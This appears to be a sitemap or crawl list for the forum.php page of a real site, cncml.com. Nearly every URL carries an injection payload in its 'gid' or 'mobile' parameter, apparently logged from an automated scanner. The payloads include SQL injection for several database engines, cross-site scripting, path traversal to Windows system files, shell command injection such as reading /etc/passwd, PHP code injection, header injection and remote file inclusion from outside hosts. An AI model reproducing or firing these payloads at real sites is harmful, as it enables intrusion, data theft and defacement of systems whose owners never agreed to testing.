http://www.cncml.com/forum.php?gid=1,(SELECT%20(CASE%20WHEN%20(47=47)%20THEN%201%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?gid=1,(SELECT%20(CASE%20WHEN%20(54=65)%20THEN%201%20ELSE%2054*(SELECT%2054%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=1,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=1,(SELECT%20(CASE%20WHEN%20(61=61)%20THEN%201%20ELSE%2061*(SELECT%2061%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=1,(SELECT%20(CASE%20WHEN%20(83=59)%20THEN%201%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?gid=1,(SELECT%20(CASE%20WHEN%20(86=91)%20THEN%201%20ELSE%2086*(SELECT%2086%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=1,(SELECT%20(CASE%20WHEN%20(89=41)%20THEN%201%20ELSE%2089*(SELECT%2089%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=1,(SELECT%20(CASE%20WHEN%20(96=96)%20THEN%201%20ELSE%2096*(SELECT%2096%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=1,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?gid=1,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/forum.php?gid=1,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?gid=1,IIF(18=18,1,1/0) 0.0001 http://www.cncml.com/forum.php?gid=1,IIF(67=49,1,1/0) 0.0001 http://www.cncml.com/forum.php?gid=1/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?gid=11 0.0001 http://www.cncml.com/forum.php?gid=16633x3X6 0.0001 http://www.cncml.com/forum.php?gid=1;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?gid=1;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?gid=1;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?gid=1AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/forum.php?gid=1AND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/forum.php?gid=1JyI%3D 0.0001 http://www.cncml.com/forum.php?gid=1a' 0.0001 http://www.cncml.com/forum.php?gid=1alert(42873) 0.0001 http://www.cncml.com/forum.php?gid=1e360 0.0001 http://www.cncml.com/forum.php?gid=37 0.0003 http://www.cncml.com/forum.php?gid=49 0.0003 http://www.cncml.com/forum.php?gid=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?gid=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?gid=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?gid=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?gid=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?gid=ELT(17=17,1) 0.0001 http://www.cncml.com/forum.php?gid=ELT(65=69,1) 0.0001 http://www.cncml.com/forum.php?gid=IIF(67=67,1,1/0) 0.0001 http://www.cncml.com/forum.php?gid=IIF(68=82,1,1/0) 0.0001 http://www.cncml.com/forum.php?gid=MAKE_SET(81=19,1) 0.0001 http://www.cncml.com/forum.php?gid=MAKE_SET(94=94,1) 0.0001 http://www.cncml.com/forum.php?gid=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/forum.php?gid=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?gid=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?gid=dir 0.0001 http://www.cncml.com/forum.php?gid=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?gid=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?gid=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?gid=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?gid=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?gid=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?gid=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?gid=phpinfo 0.0001 http://www.cncml.com/forum.php?gid=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?gid=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?mobile=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?mobile=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mobile=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mobile=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?mobile=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mobile=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mobile=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mobile=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?mobile=%3Cdir 0.0001 http://www.cncml.com/forum.php?mobile=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?mobile=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mobile=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?mobile=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?mobile=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mobile='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/forum.php?mobile='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mobile=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mobile=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mobile=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/forum.php?mobile=(SELECT%20(CASE%20WHEN%20(13=13)%20THEN%200x796573%20ELSE%2013*(SELECT%2013%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mobile=(SELECT%20(CASE%20WHEN%20(25=63)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mobile=(SELECT%20(CASE%20WHEN%20(31=66)%20THEN%200x796573%20ELSE%2031*(SELECT%2031%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mobile=(SELECT%20(CASE%20WHEN%20(42=42)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mobile=(SELECT%20(CASE%20WHEN%20(55=55)%20THEN%200x796573%20ELSE%2055*(SELECT%2055%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mobile=(SELECT%20(CASE%20WHEN%20(58=85)%20THEN%200x796573%20ELSE%2058*(SELECT%2058%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mobile=(SELECT%20(CASE%20WHEN%20(64=64)%20THEN%200x796573%20ELSE%2064*(SELECT%2064%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mobile=(SELECT%20(CASE%20WHEN%20(91=11)%20THEN%200x796573%20ELSE%2091*(SELECT%2091%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mobile=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mobile=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?mobile=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mobile=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mobile=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mobile=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mobile=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?mobile=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?mobile=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?mobile=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?mobile=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?mobile=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?mobile=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?mobile=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?mobile=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?mobile=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?mobile=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mobile=1 0.0001 http://www.cncml.com/forum.php?mobile=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?mobile=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?mobile=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?mobile=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mobile=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mobile=ELT(61=53,0x796573) 0.0001 http://www.cncml.com/forum.php?mobile=ELT(93=93,0x796573) 0.0001 http://www.cncml.com/forum.php?mobile=MAKE_SET(17=89,0x796573) 0.0001 http://www.cncml.com/forum.php?mobile=MAKE_SET(32=32,0x796573) 0.0001 http://www.cncml.com/forum.php?mobile=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/forum.php?mobile=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?mobile=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?mobile=dir 0.0001 http://www.cncml.com/forum.php?mobile=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?mobile=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mobile=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mobile=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mobile=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mobile=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?mobile=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mobile=phpinfo 0.0001 http://www.cncml.com/forum.php?mobile=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?mobile=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?mobile=yes 0.0010 http://www.cncml.com/forum.php?mobile=yes!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?mobile=yes%00' 0.0001 http://www.cncml.com/forum.php?mobile=yes%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mobile=yes%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mobile=yes%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/forum.php?mobile=yes%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20RLIKE%20(SELECT%20(CASE%20WHEN%20(12=12)%20THEN%200x796573%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20RLIKE%20(SELECT%20(CASE%20WHEN%20(19=68)%20THEN%200x796573%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mobile=yes%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/forum.php?mobile=yes%22%20AND%20%22nU%22=%22le 0.0001 http://www.cncml.com/forum.php?mobile=yes%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?mobile=yes%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?mobile=yes%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mobile=yes%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mobile=yes%22)%20AND%2057=66%20AND%20(%224w%22=%224w 0.0001 http://www.cncml.com/forum.php?mobile=yes%25%22%29%20AND%2015%3D32%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/forum.php?mobile=yes%25%27%29%20AND%2014%3D11%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mobile=yes%25%27%29%20AND%2067%3D67%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mobile=yes%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mobile=yes%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mobile=yes%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mobile=yes%25'%20AND%2019=37%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mobile=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mobile=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mobile=yes%25'%20AND%2064=64%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mobile=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mobile=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mobile=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mobile=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=96)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mobile=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(82=82)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mobile=yes%2527 0.0001 http://www.cncml.com/forum.php?mobile=yes%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/forum.php?mobile=yes%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mobile=yes%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?mobile=yes%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?mobile=yes%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?mobile=yes%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mobile=yes%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?mobile=yes%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mobile=yes%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?mobile=yes%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mobile=yes%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?mobile=yes%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mobile=yes%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mobile=yes%5B%5D 0.0001 http://www.cncml.com/forum.php?mobile=yes%5C%22 0.0001 http://www.cncml.com/forum.php?mobile=yes%5C' 0.0001 http://www.cncml.com/forum.php?mobile=yes%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?mobile=yes%bf%27 0.0001 http://www.cncml.com/forum.php?mobile=yes&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/forum.php?mobile=yes' 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND%20'0B'%20LIKE%20'vr 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND%20'Mi'%20LIKE%20'Mi 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND%20'iR'='Wu 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND%20'jp'='jp 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/forum.php?mobile=yes'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 